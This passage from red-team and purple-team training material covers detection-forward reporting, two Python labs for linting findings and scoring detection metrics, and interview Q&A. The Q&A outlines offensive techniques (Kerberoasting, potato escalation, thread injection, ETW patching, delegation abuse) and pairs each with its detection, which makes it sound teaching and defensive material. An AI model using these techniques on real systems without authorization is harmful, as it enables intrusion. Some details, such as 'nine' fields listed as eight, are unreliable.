This produces a Navigator-compatible layer JSON. Import it at attack.mitre.org/resources/attack-navigator to visualize the FIN-LATTICE coverage gaps as a heatmap. Red cells become the 30-day detection backlog. Orange cells become the 60-day backlog. Green and grey cells are monitored but not yet re-validated.
Deliver the Navigator JSON as Appendix D in the Cedar Lattice report.
Detection-Forward Wrap
Every finding with a complete, specific detection field is immediately deployable as a Sigma rule stub. The three fixed findings from Step 2 contain:
Finding 1 (DCSync): Detection references "Windows Security Event 4662 with ObjectType 'domainDNS' and AccessMask 0x100 from non-domain-controller hosts." This is a Sigma condition — the SIEM team can translate it to a Splunk or KQL search in under an hour. The purple team validated it fires in Step 3 only after Event 4662 auditing was enabled.
Finding 2 (Jenkins RCE): Detection references "HTTP POST to /script without Authorization header." This is a web access log pattern — deploy as a Suricata rule or SIEM search against forwarded Nginx/Apache logs. The prerequisite (log forwarding) must be tracked in the remediation roadmap as a dependency before the rule can go live.
Finding 3 (Git Creds): Detection references a pre-commit scanning approach plus a SIEM rule on commit patterns. Two detection layers: prevent (pre-commit hook) and detect (SIEM pattern).
The rule: Every finding that exits the quality linter with zero issues has a detection field specific enough to write a Sigma rule against. Every finding that fails the linter either has no detection field or a detection field too vague to implement. The linter enforces the deployment-readiness bar before the report leaves the team.
Common Mistakes
Mistake 1: Vague detection fields that pass the length check.
The 20-character minimum in the linter is a floor, not a standard. "Deploy a SIEM rule for this" is 30 characters and passes the length check. It still fails the quality bar conceptually because it does not specify the log source, event ID, or condition. The linter catches the worst cases — peer review catches the rest.
Mistake 2: Missing ATT&CK IDs on technique-level findings.
TA0006 (Credential Access) is a tactic, not a technique. The linter regex T\d{4}(\.\d{3})?$ rejects tactic IDs — they do not match because TA starts with two letters. Use the specific technique: T1003.006 for DCSync, T1552.001 for credentials in files. Tactic IDs belong in narrative, not in the ATT&CK ID field.
Mistake 3: Treating residual_risk as a rubber-stamp field.
"No residual risk after remediation" is never the correct answer. Even after isolating Jenkins from the internet, an internal attacker can still reach it. Even after rotating credentials, credentials can be re-exposed by developers following the old habit. Residual risk must be specific about what the remaining threat model looks like after the mitigation is applied.
Mistake 4: Skipping the purple team re-execution.
Writing a detection rule without re-executing the technique is writing a hypothesis. The purple team step-6 re-execution is what converts the rule from a hypothesis to a validated control. A VECTR entry marked "DETECTED" without a confirmed re-execution TP is inaccurate.
Mistake 5: Using quality score alone to assess report health.
A score of 1.0 means all findings have zero lint issues. It does not mean the findings are well-written, that the business impact is correctly scoped, or that the remediation is realistic. The linter catches mechanical completeness. Substance is assessed by human review.
Mistake 6: Confusing recall=None with recall=0.0.
In the purple team scorer, None means the metric is undefined — either the technique was never executed (tp + fn == 0) or the rule never fired (tp + fp == 0 for precision). 0.0 means the metric is defined and equals zero — the technique was executed and the rule never fired. The distinction matters: None means you cannot measure coverage; 0.0 means you measured it and found zero coverage. Both are problems, but they require different responses.
Quick Reference
Nine required finding fields:
title, severity, attck_id, precondition, evidence,
detection, remediation, residual_risk
Valid severities:
CRITICAL, HIGH, MEDIUM, LOW
ATT&CK ID format:
T1234 or T1234.001 (not TA0001, not T12345)
Detection quality floor:
>= 20 characters, referencing a rule type
Remediation quality floor:
>= 20 characters, containing owner + timeline
Purple team metrics:
Precision = TP / (TP + FP)
Recall = TP / (TP + FN)
F1 = 2 * P * R / (P + R)
FP Rate = FP / (FP + TN)
Coverage = mean(recall) across exercises
Score thresholds (VECTR maturity model):
0–30%: Initial
30–60%: Developing
60–80%: Defined
80–95%: Managed
>95%: Optimizing
Cedar Lattice baseline: 46.3% (Developing)
Cedar Lattice 90-day target: 80%+ (Managed)
Operation Cedar Lattice — Phase 12 of 12. The report is the engagement's only durable output.
Lab 01 — Report Quality Linter
Operation Cedar Lattice — Phase 12 Before the Cedar Lattice report leaves the team, every finding passes a quality linter. This lab implements that linter.
Table of Contents
- Objective
- Safety Boundary
- Background
- The Finding Schema
- API to Implement
- Quality Rules
- Running the Lab
- Expected Behavior
- Hints
Objective
Implement five functions that evaluate the completeness and quality of red team report findings. The linter enforces the nine-field quality bar described in the WARMUP before a finding is included in a client-deliverable report.
Safety Boundary
This lab operates entirely on Python dicts representing synthetic finding data. No exploitation, no network traffic, no payloads. The linter is a text-quality analyzer — it checks field presence and content patterns.
Background
A red team finding is not complete until all nine required fields are present, non-empty, and meet minimum quality criteria. In practice, findings drafted under time pressure often have:
- Missing fields (operator forgot to fill them in)
- Invalid severity strings (typos like "CRIT" instead of "CRITICAL")
- Malformed ATT&CK IDs (tactic IDs like
TA0006instead of technique IDs likeT1003.006) - Detection fields that are present but too vague to implement ("check the logs")
- Remediation fields that are present but too vague to act on ("fix it")
The quality linter catches all of these mechanically. Human peer review catches substance issues. Together they ensure every finding that exits the team is actionable.
The Finding Schema
Each finding is a Python dict with the following fields:
{
"title": str, # Finding title
"severity": str, # "CRITICAL" | "HIGH" | "MEDIUM" | "LOW"
"attck_id": str, # ATT&CK technique ID, e.g. "T1055.003"
"precondition": str, # What must be true for exploitability
"evidence": str, # Reference to appendix screenshot or log excerpt
"detection": str, # What should have caught this
"remediation": str, # Specific, testable action with owner and timeline
"residual_risk": str, # Risk remaining after remediation
}
API to Implement
All five functions live in solution.py. Implement them in lab.py.
REQUIRED_FIELDS = [
"title", "severity", "attck_id", "precondition",
"evidence", "detection", "remediation", "residual_risk"
]
VALID_SEVERITIES = {"CRITICAL", "HIGH", "MEDIUM", "LOW"}
SEVERITY_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
missing_fields(finding: dict) -> list[str]
Return the list of required field names that are absent or empty in finding.
A field is considered missing if:
- The key is not in the dict, OR
- The value is
None, OR - The value is
""(empty string)
lint_finding(finding: dict) -> list[str]
Return a list of quality issue strings. Check for:
- Each missing/empty required field:
"missing field: {name}" - Severity value not in
VALID_SEVERITIES:"invalid severity: {value}" - ATT&CK ID does not match
r'^T\d{4}(\.\d{3})?$':"invalid ATT&CK ID format: {value}" - Detection field present but shorter than 20 characters:
"detection too vague (< 20 chars)" - Remediation field present but shorter than 20 characters:
"remediation too vague (< 20 chars)"
Return empty list [] if no issues found.
report_quality_score(findings: list) -> float
Return a float from 0.0 to 1.0: the fraction of findings that have zero lint issues.
severity_distribution(findings: list) -> dict
Return {severity: count} for all findings. Include all four valid severities even if count is 0.
prioritized(findings: list) -> list
Return findings sorted: CRITICAL first, then HIGH, MEDIUM, LOW. Within the same severity, sort by lint issue count ascending (fewer issues = higher priority — better-documented findings should be addressed first).
Quality Rules
| Check | Issue String |
|---|---|
| Required field absent or empty | "missing field: {name}" |
| Severity not in valid set | "invalid severity: {value}" |
| ATT&CK ID bad format | "invalid ATT&CK ID format: {value}" |
Detection field < 20 chars (when present) | "detection too vague (< 20 chars)" |
Remediation field < 20 chars (when present) | "remediation too vague (< 20 chars)" |
Note on ATT&CK ID format: The regex ^T\d{4}(\.\d{3})?$ accepts:
T1190— base technique, no sub-techniqueT1055.003— technique with three-digit sub-technique
It rejects:
TA0006— tactic ID (two leading letters)T123— too few digitsT1055.03— sub-technique must be exactly three digitst1190— lowercase
Running the Lab
cd lab-01-report-quality-linter
# Install dependencies
pip install -r requirements.txt
# Run against stubs (expect NotImplementedError on all tests)
pytest -q
# Run against reference solution (expect all 12 tests to pass)
LAB_MODULE=solution pytest -q
Expected Behavior
Stub
All tests raise NotImplementedError. This is the expected starting state.
Reference Solution
12 passed in Xs
All 12 adversarial tests pass when run against solution.py.
Hints
missing_fieldsshould checkfinding.get(field)— this returnsNonefor absent keys and empty strings for empty values.lint_findingcallsmissing_fieldsinternally — do not duplicate the presence check.- The ATT&CK ID regex check in
lint_findingshould only run ifattck_idis not already in the missing-fields list (otherwise you would get both a "missing field" and a "invalid format" issue for the same absent field). severity_distributionshould initialize all four severities to 0 before iterating findings.prioritizedsort key:(SEVERITY_ORDER.get(f.get("severity", ""), 99), len(lint_finding(f))).report_quality_scorefor an empty findings list: return0.0(no clean findings, no total).
Cedar Lattice Phase 12 — Lab 01 of 02.
Lab 02 — Purple Team Coverage Scorer
Operation Cedar Lattice — Phase 12 The purple team replay session is complete. Six FIN-LATTICE techniques were executed against Meridian Freight's production-equivalent staging environment. This lab scores the results.
Table of Contents
- Objective
- Safety Boundary
- Background
- The Exercise Schema
- API to Implement
- Metric Definitions
- Running the Lab
- Expected Behavior
- Hints
Objective
Implement seven functions that compute standard detection metrics from purple team exercise result dicts. The scorer produces precision, recall, F1, false positive rate, detection coverage, top gap rankings, and exercise summary strings from the confusion-matrix counts recorded during the session.
Safety Boundary
This lab operates entirely on Python dicts representing synthetic purple team exercise data. No exploitation, no network traffic, no payloads. The scorer is a statistical analyzer — it reads integer TP/FP/TN/FN counts and computes ratios.
Background
A purple team exercise produces a confusion matrix for each ATT&CK technique tested:
Reality
Attack | No Attack
Alert Fired: TP (hit) | FP (noise)
No Alert: FN (miss) | TN (correct silence)
From these four counts, the scorer computes:
- Recall: What fraction of real attacks did the detection catch?
- Precision: Of all alerts fired, what fraction were real attacks?
- F1: Harmonic mean of precision and recall.
- FP Rate: What fraction of non-attack windows triggered an alert?
- Detection Coverage: Mean recall across all tested techniques.
These metrics drive the remediation roadmap. Techniques with recall of 0.0 are priority-one detection gaps. Techniques with recall under 0.5 are priority-two. Techniques above 0.9 are validated.
The Exercise Schema
Each exercise result is a Python dict:
{
"attck_id": str, # ATT&CK technique ID, e.g. "T1003.006"
"attck_name": str, # Human-readable name, e.g. "DCSync"
"tp_count": int, # True positives: alert fired AND attack was happening
"fp_count": int, # False positives: alert fired BUT no attack
"tn_count": int, # True negatives: no attack, no alert (correct silence)
"fn_count": int, # False negatives: attack happened, alert did NOT fire
"detection_rule": str, # Detection rule name that fired, or "" if none
"notes": str, # Freeform session notes
}
API to Implement
All seven functions live in solution.py. Implement them in lab.py.
precision(exercise: dict) -> float | None
Return TP / (TP + FP).
Return None if TP + FP == 0 (the rule never fired — precision is undefined).
recall(exercise: dict) -> float | None
Return TP / (TP + FN).
Return None if TP + FN == 0 (the technique was never executed — recall is undefined).
f1(exercise: dict) -> float | None
Return 2 * P * R / (P + R).
Return None if either precision(exercise) or recall(exercise) is None, or if P + R == 0.
detection_coverage(exercises: list) -> float
Return the mean recall across exercises where recall(exercise) is not None.
Return 0.0 if the list is empty or no recall values are computable.
fprate(exercise: dict) -> float | None
Return FP / (FP + TN).
Return None if FP + TN == 0 (the rule never had a chance to fire on non-attack windows).
top_gaps(exercises: list, n: int = 3) -> list[dict]
Return the top n exercises with the lowest recall (worst detection gaps).
Only include exercises where recall(exercise) is not None.
Sort ascending by recall (lowest recall first). For ties, sort ascending by attck_id.
Return a list of exercise dicts with a "recall" key added (the computed float recall value).
exercise_summary(exercise: dict) -> str
Return a one-line summary string in the format:
{attck_name} ({attck_id}): recall={recall:.0%} precision={precision:.0%} f1={f1:.2f}
If any metric is None, show "N/A" for that metric in the string. Examples:
DCSync (T1003.006): recall=0% precision=N/A f1=N/A
Valid Accounts (T1078): recall=100% precision=100% f1=1.00
Exploit Public-Facing Application (T1190): recall=N/A precision=N/A f1=N/A
Metric Definitions
| Metric | Formula | Returns None when |
|---|---|---|
| Precision | TP / (TP + FP) | TP + FP == 0 (rule never fired) |
| Recall | TP / (TP + FN) | TP + FN == 0 (technique never executed) |
| F1 | 2*P*R / (P+R) | Either P or R is None, or P+R == 0 |
| FP Rate | FP / (FP + TN) | FP + TN == 0 (no non-attack windows) |
| Coverage | mean(recall) for non-None | 0.0 if no computable recall values |
Important distinction:
recall = Nonemeans "unmeasured" — the technique was not executed enough times to compute recall.recall = 0.0means "measured, zero coverage" — the technique was executed and the rule never fired.
Both are problems, but they require different responses: None means the measurement gap must be closed; 0.0 means the detection gap must be closed.
Running the Lab
cd lab-02-purple-team-coverage
# Install dependencies
pip install -r requirements.txt
# Run against stubs (expect NotImplementedError on all tests)
pytest -q
# Run against reference solution (expect all 11 tests to pass)
LAB_MODULE=solution pytest -q
Expected Behavior
Stub
All tests raise NotImplementedError. This is the expected starting state.
Reference Solution
11 passed in Xs
All 11 adversarial tests pass when run against solution.py.
Hints
- For
precision,recall, andfprate: check the denominator before dividing. ReturnNoneif denominator is zero. - For
f1: callprecision(exercise)andrecall(exercise)rather than re-reading the dict — this avoids duplicating the None-check logic. - For
detection_coverage: filter out exercises whererecall(e)isNonebefore computing the mean. Use the filtered list's length as the denominator. - For
top_gaps: add the computed recall to each returned dict so callers do not need to recompute it. Sort by(recall_value, attck_id)to break ties alphabetically. - For
exercise_summary: format each metric individually. If the metric isNone, the format spec.0%cannot be applied — use"N/A"instead.
Cedar Lattice Phase 12 — Lab 02 of 02.
Interview Preparation
Operation Cedar Lattice — final readiness. This section consolidates the principal-level interview questions and answers from all 13 phases into a single review resource, organized by domain. Use it in the final weeks before an interview with Mandiant, a Big4 consulting firm, or any FAANG security team hiring for red team roles.
Structure
| File | Domain |
|---|---|
| 01-methodology-engagement.md | Adversary emulation, engagement lifecycle, ROE, OPSEC, deconfliction (Phases 00–01) |
| 02-technical-depth.md | OS internals, privesc, AD/Kerberos, injection, EDR, tooling (Phases 02–07) |
| 03-cloud-infrastructure.md | C2 infrastructure, cloud/container, social engineering (Phases 08–10) |
| 04-reporting-leadership.md | RE/vuln discovery, reporting, purple team, consulting behaviors (Phases 11–12) |
How to use
- Active recall first. Cover the answer section. Answer each question out loud or in writing. Then reveal the answer and compare.
- Time yourself. A principal-level answer should be deliverable in 2–3 minutes for technical questions and 1–2 minutes for methodology questions.
- Practice the whiteboard format. For system design and architecture questions, draw the diagram first, then narrate.
- Pair every offensive concept with its detection. If you answer a technique question without naming the sensor and the detection rule, the answer is incomplete at this level.
- Use the Cedar Lattice frame. For "tell me about a time you…" questions, reference the Operation Cedar Lattice engagement narrative (Meridian Freight International / FIN-LATTICE) as a structured example.
Interview format expectations (Mandiant/FAANG red team)
A principal-level red team interview typically includes:
- Technical depth round (60–90 min): deep dive into one or two technique areas; expect follow-up questions that probe the exact mechanism (OS primitive, API sequence, sensor, detection).
- Engagement methodology round (45–60 min): how you plan, execute, and report a multi-phase engagement; how you communicate with the client SOC; how you scope findings.
- System design round (45–60 min): design a C2 infrastructure, an AD attack path solver, a cloud IAM audit system, or a purple team detection tracking platform.
- Behavioral/leadership round (45 min): STAR-format answers about past engagements, difficult client situations, team leadership, and how you keep current on tradecraft.
- Code review or live coding (30–45 min): read a Python/C# snippet and identify OPSEC issues or bugs; sometimes write a small analyzer or linter live.
Consulting behavioral themes (Mandiant-specific)
Mandiant interviewers consistently probe:
- Client communication under pressure. "The SOC detected your beacon during a live engagement. How do you respond?" Answer: stop and deconflict; do not assume it is a false positive; document the detection as a finding; coordinate with SOC per the ROE.
- Scope discipline. "You found a critical vulnerability outside your scope. What do you do?" Answer: document it in the engagement report as an out-of-scope observation; notify the client per the ROE's out-of-scope finding process; do not exploit it.
- Disagreement with team lead. "Your team lead wants to use a technique you believe is too noisy for this engagement's OPSEC profile. What do you do?" Answer: flag the OPSEC concern, present the detection analysis, defer to the lead's decision if they accept the risk, document.
- Staying current. Name specific CVEs, ATT&CK technique updates, or vendor advisories you have read in the past month. Have an answer ready.
- Developing others. How do you mentor a junior analyst? What does "principal-level" mean in terms of your relationship to less-experienced team members?
Interview Q&A — Methodology & Engagement Lifecycle
Phases 00–01: Engagement authorization, ROE, OPSEC, deconfliction, adversary emulation methodology, the three adversary lenses, the emulation plan, and the engagement lifecycle.
Q1: What is the difference between adversary emulation, a penetration test, and a red team exercise?
Answer:
Penetration test: a scoped, time-boxed assessment that attempts to find and demonstrate all exploitable vulnerabilities within a defined boundary. The goal is comprehensive coverage — find everything. The output is a prioritized vulnerability list. The adversary is generalized: "a sophisticated external attacker."
Red team exercise: a goal-oriented, stealth-focused engagement that evaluates the organization's detection and response capability against a specific adversary. The goal is not to find all vulnerabilities but to answer: "Would a real adversary achieve objective X without being detected?" The output is an assessment of detection gaps, response effectiveness, and dwell time. The adversary is specific: an emulated threat actor with known TTPs.
Adversary emulation: a subset of red team exercises where the attacker is modeled on a specific real-world threat actor — their documented tooling, techniques, infrastructure, and objectives. The emulation plan is built from threat intelligence (ATT&CK matrices, CTI reports, public IOCs) rather than general offensive capability. The goal is to answer: "Could FIN-X achieve their documented mission objective against us?"
The hierarchy: adversary emulation ⊂ red team ⊂ penetration test (in scope specificity and adversary-specificity). Mandiant engagements are typically adversary emulations or full red team exercises, not penetration tests.
Q2: Walk me through how you build an adversary emulation plan from threat intelligence.
Answer:
The plan is built in five steps:
1. Actor selection. Based on the client's industry, geography, and critical assets, select the most relevant threat actor from the ATT&CK Groups catalog and supporting CTI (Mandiant threat reports, ISACs, public advisories). For Meridian Freight International, this would be a financially motivated actor targeting logistics — mapped to a fictional FIN actor.
2. Technique catalog. From the actor's ATT&CK page and associated CTI, extract the confirmed technique list. Each technique gets its ATT&CK ID (T1055.003, T1558.003, etc.).
3. Tactic ordering. Order the techniques by the ATT&CK tactic lifecycle: Reconnaissance → Resource Development → Initial Access → Execution → Persistence → Privilege Escalation → Defense Evasion → Credential Access → Discovery → Lateral Movement → Collection → Command and Control → Exfiltration → Impact. This gives the engagement timeline.
4. Procedure definition. For each technique, define a procedure — the specific implementation that matches the actor's documented tool or behavior. Not all procedures are run; the engagement team selects based on the authorized scope and OPSEC profile.
5. Detection mapping. For each procedure, document the expected telemetry (data source, Sysmon EID, network event), the detection that should fire, and the detection gap that would allow the procedure to proceed undetected. This shapes the assessment questions.
The output is the emulation plan document: actor profile + technique list + procedure descriptions
- detection expectations. The plan is approved by the client and the engagement lead before execution begins.
Q3: What must a Rules of Engagement document contain, and why does each element matter?
Answer:
A well-formed ROE document contains at minimum:
Authorization statement: explicit written authorization from a named client authority (CISO, CTO, or designated authority) with their contact information. This is the legal foundation — without it, the engagement is unauthorized access. The authorization must name the specific organization and the specific systems.
Scope definition: the in-scope systems (IP ranges, domains, cloud accounts, application names), the out-of-scope systems (explicitly named exclusions — typically production payment systems, HR data, life-safety systems), and the rule for discovered out-of-scope findings (report, do not exploit further).
Authorized methods: the specific technique categories permitted (network scanning, exploitation, credential testing, social engineering, physical) and those explicitly prohibited (DoS, destructive techniques, data exfiltration beyond proof-of-concept).
Time and rate constraints: permitted operating hours (to reduce collateral impact), rate limits on scanning or authentication attempts.
Deconfliction protocol: the SOC contact (phone, email), the deconfliction token format (how the team identifies their actions as authorized to the SOC if detected), and the escalation path if the engagement causes unintended impact.
Data handling rules: what data may be collected (screenshots, credential hashes), how it is stored (encrypted, short retention), and what is prohibited (exfiltrating real PII, storing plaintext credentials).
Emergency stop contacts: who can call stop, and how, at any time during the engagement.
The ROE is signed before any work begins and referenced throughout the engagement as the authority document.
Q4: You are mid-engagement and the client SOC calls you directly saying they have detected
unusual activity. What do you do?
Answer:
This is the deconfliction scenario. The procedure:
Stop all active operations immediately. No additional actions on any in-scope system until the situation is resolved. An uncoordinated engagement action during an active SOC investigation could contaminate evidence, escalate the response, or create legal risk.
Verify the caller. The SOC contact is named in the ROE. Confirm you are speaking with the named contact (not a social engineering caller trying to extract engagement details). Use the out-of-band contact method established in the ROE (pre-agreed phone number, not an email from the detected host).
Provide the deconfliction token. The ROE specifies a deconfliction token or code phrase that the engagement team uses to identify their actions as authorized. Provide it. This lets the SOC distinguish the engagement team's traffic from a real adversary.
Share the timeline. Provide the SOC with the timestamp range of actions taken in the area of concern. This narrows their investigation.
Document everything. Log the call, what was shared, what the SOC observed, and the time. This goes into the deconfliction log (Lab 02, Phase 00) and the engagement report.
Resume only with explicit permission. After the SOC clears the deconfliction, resume operations. If the SOC wants to stop the engagement temporarily, comply.
The report outcome: the detection by the SOC is a finding in the report — it documents whether the detection was from a deployed detection rule (good), a human analyst observation (good), or accidental (a gap). It is positive signal regardless.
Q5: Explain the three adversary-analysis lenses (ATT&CK, Kill Chain, Diamond Model) and when
you use each.
Answer:
Cyber Kill Chain (Lockheed Martin): a 7-phase linear model — Reconnaissance → Weaponization → Delivery → Exploitation → Installation → Command & Control → Actions on Objectives. Its value is as a communication tool: it gives non-technical stakeholders a linear narrative of the attack. "We entered at phase 3 (Delivery) and progressed to phase 6 (C2) before being stopped." Its weakness: it is too linear — real adversaries iterate, move laterally, and restart phases. Use it for executive reporting and timeline narrative.
MITRE ATT&CK: a matrix of Tactics (the adversary's goal) × Techniques (how they achieve it), grounded in threat-intelligence evidence. Its value is specificity: every technique has a technique ID (T1058.003), a detection section, a data sources section, and mapped real-world actors who use it. Use it for emulation planning (building the technique list), detection gap analysis (which techniques lack a detection rule), and reporting (ATT&CK IDs in finding reports are universal reference points).
Diamond Model (Caltagirone, Pendergast, Betz): four vertices — Adversary, Capability, Infrastructure, Victim — with Activity Threads linking events into a campaign. Its value is for attribution and campaign analysis: connecting multiple intrusion events through shared infrastructure or capability identifies the same actor across incidents. Use it for CTI and forensic attribution, not for engagement planning.
In practice: use Kill Chain for executive communication, ATT&CK for technical planning and detection engineering, Diamond Model for CTI correlation and threat actor profiling.
Q6: Walk me through your OPSEC decision process when choosing how to execute a technique on
a live engagement.
Answer:
OPSEC assessment for an action is a five-factor analysis:
1. Noise level. How many events does this action generate? A Nmap SYN scan of 65,535 ports is extremely noisy (thousands of SYN packets, likely triggering IDS). An LDAP query that uses the same pattern as a normal admin tool generates one event. Prefer the action that generates the minimum number of events that still achieves the technique objective.
2. Novelty. Does this action look anomalous given the baseline of the environment? A PowerShell
Invoke-WebRequest in an environment where PowerShell is common is less novel than the same
command in an environment where PowerShell is disabled by group policy. The anomaly score is
relative to the environment's baseline, not absolute.
3. Blast radius. How many systems does this action touch? A technique that hits one host is better than one that touches fifty. Minimize lateral exposure.
4. Reversibility. Can the action be undone? Writing a file to disk leaves an artifact. Creating a user account leaves an audit trail. Prefer reversible actions (read > write > modify > create > delete).
5. Detection window. Does this action require leaving a persistent artifact, or is it transient? An in-memory payload that cleans up on process exit has a shorter detection window than a service installed to disk.
Scoring these five factors gives a rough OPSEC risk rating. High-risk actions require explicit approval from the engagement lead and documentation in the deconfliction log. Low-risk actions proceed under the general ROE authorization.
Q7: What is the Pyramid of Pain and how does it apply to engagement planning?
Answer:
The Pyramid of Pain (David Bianco) ranks adversary indicators by the cost to the adversary of changing them:
From bottom (easy to change) to top (hard to change):
- Hash values — trivially changed by recompiling
- IP addresses — changed by spinning up new infrastructure (hours)
- Domain names — registered in minutes
- Network/host artifacts — named pipes, mutex names, URI patterns; require reconfiguration
- Tools — changing tools requires new development or procurement; weeks
- TTPs (Tactics, Techniques, Procedures) — changing the fundamental approach requires redesign
Application to engagement planning:
A detection built at layer 1 (hash) is bypassed by the engagement team with a recompile. A detection built at layer 6 (TTP) — e.g., "any process creates a remote thread in a system process from a user-writable directory" — survives any tool change, any recompile, any infrastructure rotation.
When planning an engagement, we use the pyramid to evaluate the client's detection maturity:
- If their detections are all at layers 1–2 (hash/IP blocking), the engagement will demonstrate that an adversary trivially rotates their way through those controls.
- If their detections reach layers 5–6 (behavioral TTP detection), the engagement has to demonstrate whether the adversary can redesign their approach.
The engagement's OPSEC plan mirrors this: we choose tooling, infrastructure, and technique procedures that operate at layers 5–6 so we test the durable detections, not just the easy ones.
Q8: How do you scope a finding that is out of scope for the engagement?
Answer:
Out-of-scope findings arise in two ways: you encounter something genuinely outside the authorized scope while pursuing an in-scope objective, or you discover a critical issue on a system the ROE excludes.
The procedure:
Stop and document. The moment you recognize the finding is outside scope, stop any further actions on that system. Document what you observed (timestamp, system identifier, the observation) in the engagement log.
Consult the ROE. Most well-written ROEs have an explicit clause for out-of-scope findings: "If the engagement team discovers a critical vulnerability on an out-of-scope system, they will notify the engagement sponsor within X hours with a description sufficient to allow remediation, without exploiting the finding further."
Notify per the ROE protocol. Contact the designated client authority (usually the CISO or technical lead listed in the ROE) with the minimum information needed: what system, what observed vulnerability class, when discovered. Do not include exploit details or evidence that required accessing the out-of-scope system further.
Report in the appendix. The engagement report includes an "Out-of-Scope Observations" section listing any such findings. Each entry notes: what was observed, the basis for its being out of scope, and the notification made.
Do not exploit. Even if the finding would significantly advance the engagement objective, do not exploit an out-of-scope system. The authorization document is the only legal protection the engagement team has. Operating outside it removes that protection.
Interview Q&A — Technical Depth
Phases 02–07: Binary formats, OPSEC hygiene, OS internals, privilege escalation, Active Directory, Kerberos, process injection, EDR internals, and detection engineering.
Full answers for each question are provided in the WARMUP.md of each referenced phase. This file contains the questions plus condensed principal-level answer outlines for rapid review.
Tooling (Phase 02)
Q: What is imphash, how is it computed, and where on the Pyramid of Pain does it sit?
Outline: MD5 of normalized (dll_no_ext.func_lower) list, joined by commas. Sits at Hash
layer — bottom of pyramid. Trivially changed by adding one dummy import + recompile. Useful for
family classification in DFIR triage, not as a durable production detection. Durable detection
is at TTP level: API call sequence via ETW-TI.
Q: What OPSEC indicators does a compiled tool leave by default? Name three and their detection.
Outline: (1) PDB path — pefile/strings; (2) Default named pipe (MSSE-*) — Sysmon EID 17;
(3) Compilation timestamp (TimeDateStamp not zeroed) — dumpbin /headers. Each is a bottom-
to-mid pyramid IOC. The durable detection is still behavioral (ETW-TI alloc/write sequence).
OS Internals: Windows (Phase 04)
Q: Walk me through the Windows access-token model. What is a SID, a privilege, and how does an object's DACL get checked?
Outline: Process has primary token: user SID + group SIDs + privilege table. Object has DACL
(ordered ACEs). Access check = SeAccessCheck(token, DACL, requested_mask) — DENY before ALLOW,
all SIDs in token checked. SID = identity; privilege = capability flag (orthogonal). Escalation
usually abuses a privilege (SeImpersonatePrivilege) not an identity.
Q: Why is UAC not a security boundary?
Outline: Microsoft formally documented: UAC is a "convenience prompt," not a security boundary. Bypasses are not patched as security vulnerabilities. Admin-split-token user is one auto-elevation or user-approval away from High-IL, then from SYSTEM. Do not treat Medium-IL admin as a wall.
Q: Explain the SeImpersonatePrivilege potato family — privilege, why service accounts have it,
the escalation, and the detection.
Outline: Privilege = right to impersonate a token handed to you. Service accounts get it so
they can act as connecting users (IIS/SQL legitimate use). Potato family: coerce a SYSTEM-bearing
process to authenticate to attacker-controlled pipe/COM → ImpersonateNamedPipeClient → SYSTEM
token → CreateProcessWithTokenW. Detection: Security EID 4673 (privilege use in unexpected
context), Sysmon EID 1 (service process spawning interactive shell).
OS Internals: Linux (Phase 04)
Q: What is the difference between SUID and cap_setuid? Why enumerate both?
Outline: SUID = mode bit → kernel sets euid = file_owner_uid on execve. cap_setuid =
xattr capability → process can call setuid(0). Both produce euid=0. find -perm -4000 only
finds SUID; getcap -r / finds capabilities. Miss either command → miss that entire escalation
class. Separate commands, separate findings.
Active Directory (Phase 05)
Q: Explain Kerberoasting — what it is, the API sequence, the detection.
Outline: Kerberoasting (T1558.003): any authenticated domain user can request a TGS (Ticket
Granting Service ticket) for any account with an SPN. The TGS is encrypted with the account's
NT hash. Attacker requests TGS → extracts from memory → cracks offline → recovers plaintext
password. API: KerberosRequestService → CCache.dump. Detection: Security EID 4769 with
EncryptionType = 0x17 (RC4-HMAC, weak — preferred by Kerberoasting tools) from an unusual
user or high volume. Hardening: use AES-only (msDS-SupportedEncryptionTypes) + long random
passwords on service accounts + detect via 4769 volume anomaly.
Q: What is the difference between unconstrained, constrained, and resource-based constrained delegation? Why is unconstrained most dangerous?
Outline:
- Unconstrained (
TrustedForDelegation): computer/account can impersonate any user to any service. If attacker controls or compromises this computer, they can steal any user's TGT that authenticates to it. Most dangerous: leads to domain admin if a DA TGT is captured. - Constrained (
TrustedToAuthForDelegation): S4U2Self + S4U2Proxy allow impersonation to a specific list of target SPNs only. Safer but ifAllowedToDelegateToincludes a DC service (cifs/dc01), it is still a domain admin path. - RBCD (Resource-Based Constrained Delegation): the target resource controls who can
delegate to it via
msDS-AllowedToActOnBehalfOfOtherIdentity. If an attacker can write that attribute (viaGenericWriteon the computer object), they can add their own computer account and forge S4U2Proxy tickets to impersonate domain admin on the target.
Detection: Security EID 4769 with unusual service name + user combination for delegation abuse. BloodHound-style path finding surfaces delegation relationships as attack edges.
Injection & EDR (Phases 06–07)
Q: Walk me through remote thread injection — API sequence, sensors, detection.
Outline: OpenProcess (Sysmon EID 10 on handle open with PROCESS_VM_WRITE mask) →
VirtualAllocEx (ETW-TI ALLOCATE_VIRTUAL_MEMORY) → WriteProcessMemory (ETW-TI
WRITE_VIRTUAL_MEMORY) → CreateRemoteThread (Sysmon EID 8). Detection: Sigma rule on
CreateRemoteThread where SourceImage starts with C:\Users\ and TargetImage is a system
process.
Q: Explain ETW vs ETW-TI. If an attacker patches EtwEventWrite, what goes blind, what
survives?
Outline: User-mode ETW (CLR, DNS, PowerShell) is patchable in-process: patch EtwEventWrite
in the process's ntdll.dll copy → that process's user-mode providers go silent. ETW-TI
(Microsoft-Windows-Threat-Intelligence) is kernel-emitted: fires inside the kernel system-call
implementation before returning to user mode. User-mode EtwEventWrite patch does not reach
kernel callbacks. ETW-TI alloc/write/map events survive. The patch itself is observable: RWX
write to ntdll.dll .text section. Detection: ETW-TI for the patch attempt (memory write to
system DLL) + user-mode provider silence correlation.
Q: Walk me from a telemetry gap to a closed gap: missing data source → Sysmon config change → Sigma rule → verification.
Outline: (1) Run Lab 01 (EDR telemetry gap analyzer) with actual sensor inventory → partial
or blind for a target technique. (2) Identify the missing data source (e.g., sysmon_eid_8
not configured). (3) Add CreateRemoteThread rule to Sysmon config XML; reload (Sysmon.exe -c config.xml). (4) Write Sigma rule on logsource: category: create_remote_thread, detection
keyed on SourceImage anomaly. (5) Convert Sigma rule to the SIEM format. (6) Run a benign Atomic
Red Team test for T1055.003; verify Sysmon EID 8 appears and the rule fires. (7) Run normal
activity; verify no false positives. Before state: partial coverage. After: covered.
Interview Q&A — C2 Infrastructure, Cloud, & Social Engineering
